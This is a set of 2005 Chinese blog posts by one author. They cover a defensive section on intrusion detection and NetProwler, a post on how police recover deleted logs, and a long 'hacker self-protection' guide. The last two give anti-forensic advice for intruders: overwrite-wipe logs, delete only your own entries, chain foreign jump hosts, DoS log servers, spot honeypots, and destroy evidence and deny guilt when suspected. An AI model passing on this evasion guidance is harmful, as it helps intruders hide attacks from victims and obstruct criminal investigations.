普通的系统管理员日常只会对入侵者的攻击作出预测和识别,而不能进行反击。但是欺骗系统(DS)可以帮助系统管理员做好反击的铺垫工作,欺骗系统(DS)通过模拟一些系统漏洞来欺骗入侵者,当系统管理员通过一些方法获得黑客企图入侵的迹象后,利用欺骗系统可以获得很好的效果。例如重命名NT上的administrator账号,然后设立一个没有权限的虚假账号让黑客来攻击,在入侵者感觉到上当的时候,管理员也就知晓了入侵者的一举一动和他的水平高低。

7.4.4 入侵检测系统的检测步骤

入侵检测系统一般使用基于特征码的检测方法和异常检测方法,在判断系统是否被入侵前,入侵检测系统首先需要进行一些信息的收集。信息的收集往往会从各个方面进行。例如对网络或主机上安全漏洞进行扫描,查找非授权使用网络或主机系统的企图,并从几个方面来判断是否有入侵行为发生。

检测系统接着会检查网络日志文件,因为黑客非常容易在会在日志文件中留下蛛丝马迹,因此网络日志文件信息是常常作为系统管理员检测是否有入侵行为的主要方法。取得系统管理权后,黑客们最喜欢做的事,就是破坏或修改系统文件,此时系统完整性校验系统(SIV)就会迅速检查系统是否有异常的改动迹象,从而判断入侵行为的恶劣程度。将系统运行情况与常见的入侵程序造成的后果数据进行比较,从而发现是否被入侵。例如:系统遭受DDoS分布式攻击后,系统会在短时间内性能严重下降,检测系统此时就可以判断已经被入侵。

入侵检测系统还可以使用一些系统命令来检查、搜索系统本身是否被攻击。当收集到足够的信息时,入侵检测系统就会自动与本身数据库中设定的已知入侵方式和相关参数匹配,检测准确率相当的高,让用户感到不方便的是,需要不断的升级数据库。否则,无法跟上网络时代入侵工具的步伐。入侵检测的实时保护功能很强,作为一种“主动防范”的检测技术,检测系统能迅速提供对系统攻击、网络攻击和用户误操作的实时保护,在预测到入侵企图时本身进行拦截和提醒管理员预防。

7.4.5 发现系统被入侵后的步骤

1.仔细寻找入侵者是如何进入系统的,设法堵住这个安全漏洞。

2.检查所有的系统目录和文件是否被篡改过,尽快修复。

3.改变系统中的部分密码,防止再次因密码被暴力破解而生产的漏洞。

7.4.6 常用入侵检测工具介绍

1.NetProwler

作为世界级的互联网安全技术厂商,赛门铁克公司的产品涉及到网络安全的方方面面,特别是在安全漏洞检测、入侵检测、互联网内容/电子邮件过滤、远程管理技术和安全服务方面,赛门铁克的先进技术的确让人惊叹!NetProwler就是一款赛门铁克基于网络入侵检测开发出的工具软件,NetProwler采用先进的拥有专利权的动态信号状态检测(SDSI)技术,使用户能够设计独特的攻击定义。即使最复杂的攻击也可以由它直观的攻击定义界面产生。

(1)NetProwler的体系结构

NetProwler具有多层体系结构,由Agent、Console和Manager三部分组成。Agent负责监视所在网段的网络数据包。将检测到的攻击及其所有相关数据发送给管理器,安装时应与企业的网络结构和安全策略相结合。Console负责从代理处收集信息,显示所受攻击信息,使你能够配置和管理隶属于某个管理器的代理。Manager对配置和攻击警告信息响应,执行控制台发布的命令,将代理发出的攻击警告传递给控制台。

当NetProwler发现攻击时,立即会把攻击事件记入日志并中断网络连接、创建一个报告,用文件或E-mail通知系统管理员,最后将事件通知主机入侵检测管理器和控制台。

(2)NetProwler的检测技术

NetProwler采用具有专利技术的SDSI(Stateful Dynamic Signature Inspection状态化的动态特征检测)入侵检测技术。在这种设计中,每个攻击特征都是一组指令集,这些指令是由SDSI虚处理器通过使用一个高速缓存入口来描述目前用户状态和当前从网络上收到数据包的办法执行。每一个被监测的网络服务器都有一个小的相关攻击特征集,这些攻击特征集都是基于服务器的操作和服务器所支持的应用而建立的。Stateful根据监视的网络传输内容,进行上下文比较,能够对复杂事件进行有效的分析和记录

基于SDSI技术的NetProwler工作过程如下:

第一步:SDSI虚拟处理器从网络数据中获取当今的数据包;

第二步:把获取的数据包放入属于当前用户或应用会话的状态缓冲中;

第三步:从特别为优化服务器性能的特征缓冲中执行攻击特征;

第四步:当检测到某种攻击时,处理器立即触发响应模块,以执行相应的响应措施。

(3)NetProwler工作模式

因为是网络型IDS,所以NetProwler根据不同的网络结构,其数据采集部分(即代理)有多种不同的连接形式:如果网段用总线式的集线器相连,则可将其简单的接在集线器的一个端口上即可。

(4)系统安装要求

用户将NetProwler Agent安装在一台专门的Windows NT工作站上,如果NetProwler和其他应用程序运行在同一台主机上,则两个程序的性能都将受到严重影响。网络入侵检测系统占用大量的资源,因此制造商一般推荐使用专门的系统运行驱动引擎,要求它有128M RAM和主频为400MHz的Intel Pentium II或Pentium

- 作者: haicao 2005年12月28日, 星期三 08:51  回复(0) |  引用(1) 加入博采

公安部门是如何抓到黑客的
大家可能觉的很奇怪!公安部门的是怎样去抓到黑客的呢?其实除了和电信部门取得合作以外很大程度上他们都把抓黑客的事情交给所谓的"技术部门"这些技术部门不像你相象的那么厉害![当然也不能笼统的说] 其中一个最老套也命中率最高的办法就是通过日志记录的IP来排查。
可能有人会问:我已经删除了日志文件还会被抓?告诉你:89。5%会的![这个百分比可不是我编出来的哦]。不废话了!
技术部门的办法:例如我2004年7月19日晚8:39分31秒用小榕的日志擦写软件擦掉了全部IP或者指定IP.技术部门拿到这家倒霉公司的硬盘先做备份,然后用类似FinalData.
EasyRecovery 或者别的什么磁盘恢复软件按时间表来恢复前一小时或者前一分钟的所有文件,然后就.......!你是不是叫***你被捕了,你有权保持沉默但是你所讲的将回成为....


所以大家如果入侵的是比较棘手的地方或者什么部门的话!两个字:小心!


解决办法:用类似改写扇区删除软件来删除日志文件!因为WINDOWS里的都是模拟删除!即使你用format c:如果你不加参数还是可以恢复的!

网络上找了一下!发现了这个!

3. SecWiper V1.0

[简要说明]

SecWiper是一个运行在Windows上的安全地擦除文件的控制台小工具,一旦擦除,永远丢失,风险自负责!

功能简列如下:

1、支持Windows 9x/me/nt/2000/...

2、严格按照国际安全擦除标准执行动作

3、可彻底删除文件,并且支持通配符

4、可彻底删除目录,可包含所有子目录

5、可彻底清除空闲磁盘里所有可能被恢复的文件

6、确保清除后的文件用FinalData、RecoverNT、EasyRecovery等数据恢工具无法恢复


你们会问你怎么知道这些的,难道.........[放心我还没有被抓进去过@@~!]
至少现在还没有.


还是一句话!没有事情不要乱搞别人的主机!我一般也就利用一下他们的宽带空间什么的
从来没有覆盖过**公司的主页或者format c:等行为!因为我做事考虑的是后果,好处坏处占的比例。

- 作者: haicao 2005年12月28日, 星期三 08:48  回复(0) |  引用(1) 加入博采

hacker Start

不知道名字的文章。

据我所知,很多人学习黑客技术都是从如何进入他人系统开始的,到处收集各种exploits、后门、木马等。但是,我最早学习的却不是这些,而是这次我要讲的:黑客自我保护技术。因为,当时(现在我仍然这样认为)我觉得就算你的黑客技术再厉害,能攻入这样那样的系统,但当警察给你带上手铐的时候,这一切恐怕一点意义都没有了吧!所以,我认为一个没有绝对自保能力的黑客,根本不能算是黑客。不要用什么我不去非法入侵他人系统,不触犯法律等满口的仁义道德去辩解什么!因为,如果你想在黑客技术上得到提升,就必须不断的入侵。这种灵活复杂的实战经验是模拟攻击环境所不能给予的。也不要认为自己技术高超,不会被警察或者安全人员抓到,比你技术高的人多得是,还不是照样进了牢房!当你hack一个饱受入侵之苦而开始对系统安全敏感了的站点时,很可能这就是你的最后一次hack了。

内容:
1.谨慎
自我约束。小心谨慎到什么时候都不会有害处。在入侵一个系统之前,请准确评估你将可能遇到的风险,准备和编写好将要用到的tools,然后,要等待恰当的时机。如果可能的话,先调查好什么时间段服务器处于无人职守状态。做不到这些,你将永远成不了真正的hacker。
有些朋友可能不理解,会认为我太胆小。当然,平时我们入侵的那些小站可能不会给我们带来太大的祸端,但如果你的入侵与金钱和权威挂了钩就完全不一样了。这时,如果你不做好最坏的打算,任何一点小的差错都可能把你击倒。其实,就算你入侵的是个小站,也是存在风险的,要知道,我们正在给别人的工作或生活带来麻烦甚至是恶梦。他们很想阻止你,甚至想把你送入地狱!尽管你可能不认为这是犯罪,但事实是这就是犯罪!
要记住,一旦你被牵扯到一个入侵案件中时,你会发现你的hacker污名可能会跟随你相当长的时间,几年,甚至是一生。任何一个有案底的人都很难找到一份好工作!除非你自己做老板!^_^
当你理解了以上的风险后,请不要认为做额外的反追踪工作而感到愚蠢,不要为别人嘲笑你太谨慎而烦心.不要因为太懒或侥幸而放弃修改log文件!作为一名真正的黑客,你必须做好每一件你要做的事情!
当你认为我说的不是废话而是真理,并且切实的执行了,那么你已经是一个谨慎的hacker了。当你考虑和你聊天的人是否可*,考虑你的Email、QQ、phone没有处于监视中,那么反追踪已经成为你生活的一部分了。如果你不想这么去做,那么请想象一下你被捕时的惨状吧!女友还会跟你吗?你的父母不会流泪吗?你不会失去工作和学习吗?请让这些没有发生的机会吧!如果你到了现在还认为我在浪费你的时间或你不去这么去做,那么请离hack远点。你已经对中国的hacker社会和你的hacker朋友构成了潜在的威胁!

2.基础
如果你从不在电话、Email和QQ上谈论hacking相关的话题,并且硬盘上没有敏感的私人数据的话,你可以不往下看了!因为每一个hacker都会与其它一些hacker保持联系,并且把一些相关数据保存在某个地方!如果你是个hacker,请看下面我给出的一点建议。
使用可*的加密程序加密所有敏感数据。
将重要私人数据加密后存储在只有你自己知道的、国外的网络硬盘或稳定的空间上(空间提供商要能做到对用户信息保密)。地址和密码请牢记在大脑里,因为只有这里最安全!(密码的健壮性要好,还要容易记忆,不会轻易被破解)。对数据做一个备份,然后放到安全的地方,最好不是家里(当然也要加密)。
不要用电话和你的hacker朋友谈论hack。如果非要谈,最好找公用电话(电话号码记录不要写在纸上,应该存为一个文件并且多次高强度加密)
如果你认为你的入侵行为很危险,应该考虑干扰方案!网络警察,其它Hacker都有可能监视你的行动。如果中国的网络警察技术好且拥有先进的设备的话,我想他们可以得到他们想要的任何东西!早就听说国外有种设备可以通过捕获计算机发射的电子脉冲在100米以外监视你的电脑屏幕,不知国内的网络警察有没有。
我们这种网虫或者说计算机狂人,很多人都有自己的主页空间帐户、学校网站登陆帐户、公司系统登陆帐户、QQ帐户、Email帐户(这里顺便说一下,最好我们每个人准备两个Email,一个用于和hack圈子里的朋友联系,另一个作为普通的日常应用)等。这里要注意,不要使用这些帐户做任何非法和可能会令他人怀疑的事情!决不能在这些帐户下存储任何和hack有关的信息和tools。和其它hacker交流的Email最好经过PGP加密,因为你的Email对Email服务器的维护者和网警来说是透明的。不要用这些帐号表明你对hack感兴趣,顶多对安全防范感兴趣就行了,再深点就不要了。
对于log文件,我想每个人都很熟悉,我也不想再多说了。提点建议,最好清除logs时不要全部清除,这样等于告诉管理员有人入侵了他的系统,清除和你有关的就行了。
除了logs,其它一些痕迹也一定要注意!比如,我在3389肉鸡上装了个扫描器,扫描完成后记得把扫描结果文件删掉,某些远程控制软件会自动记录你连接过的主机设置,如:Radmin,这也要注意。
好的肉鸡要使用稳妥、安全、隐蔽的后门,不要随便用不熟悉的木马程序。

3.高级
(1)熟练运用Sniffer,并灵活运用这些技巧,可以令我们更安全。
(2)使用跳板。有时我们的hack活动可能会被发现,我就遇到过两次。我们正在hack的站点可能因为某些原因被关掉,这时什么都别管尽快清除痕迹离开,一般不会有什么事情。但如果他们想追踪我们的来路(原因可能是想抓住你,也可能是想看看你的跳板强壮性)就很危险了。这种情况下,如果你使用跳板入侵的话就会给他们的追踪造成困难!下面我说一下跳板的要求:
拥有管理员权限;只作跳板使用,平时不用;定期更换其它的服务器做跳板,至少一个月不在使用原来的跳板。这样他们就很难追踪到我们的痕迹了。
使用多层跳板,他们想追踪就必须一个一个的突破。
(3)堡垒主机。什么是堡垒主机?它是你的多层跳板中直接和你正在使用的主机建立了连接的主机,也就是和你最近的一层跳板。一旦他们能追踪到你的堡垒主机,你就有麻烦了。因为,警察只要调查一下就能发现你的存在。因此,堡垒主机应该尽量稳固,并且尽量用国外主机(跳板也应该尽量用国外的)。当然,最根本的是决不能让他们追踪的你的堡垒主机。
(4)如果你入侵的服务器使用了专门的log主机,那么会麻烦一点,一般的log主机很难攻入,这时可以用DoS让它停止工作。
(5)查看一下主机是否安装了其它的log软件,如果有的话,应该修改它们生成的logs。
(6)攻入系统后,要时不时的看看管理员是否登陆了,如果管理员登陆了,我们就应该尽快跑路了。
(7)注意蜜罐,好的蜜罐系统是很难发现异常的。这种情况遇到的很少,但不排除可能性。如何发现蜜罐,就看你的思维是否清晰、头脑是否冷静、对系统是否熟悉、敏锐的洞察力、还有的就是运气了。
(8)如果使用了Sniffer,请注意加密Sniffer的输出结果。

4.被怀疑时
一旦上面的一切技巧都没能保护住倒霉的你。你就应该采取一些行动,令他们得不到不利于你的证据!但不要采取攻击性行动,可以以静制动,等上1、2个月看看情况再说。当你被怀疑后,你一定要想办法警告你的hacker朋友不要给你发任何Email,断绝所有与hack有关的联系。加密敏感数据,销毁所有hack数据,帐号数据,电话号码等纸张,这些都是网警喜欢要的。这期间可以玩点别的,比如说写个程序什么的(可别傻到编hacker程序哦)。
5.被捕
一旦绝顶倒霉的你真的被捕了,那么你应该注意:
首先,找个律师。和律师商量好对策。
其次,不要相信警察找到了关键证据之类的言辞,他们可能是诈供。另外,就算他们有了什么证据也不是没有希望,因为电子方面的东西很容易伪造,比如说:IP地址。因此,在国际上对于其是否可以作为证据一直很有争议。所以,除非你被抓个现形,或者拍下了你hacking的过程,否则不要认,这么做你可能还有希望。
如果你真的认了罪。记住,一定不要出卖其它的hacker朋友,否则,你可能会遭到报复。再者,这也是起码的职业道德

- 作者: haicao 2005年12月28日, 星期三 08:47  回复(0) |  引用(1) 加入博采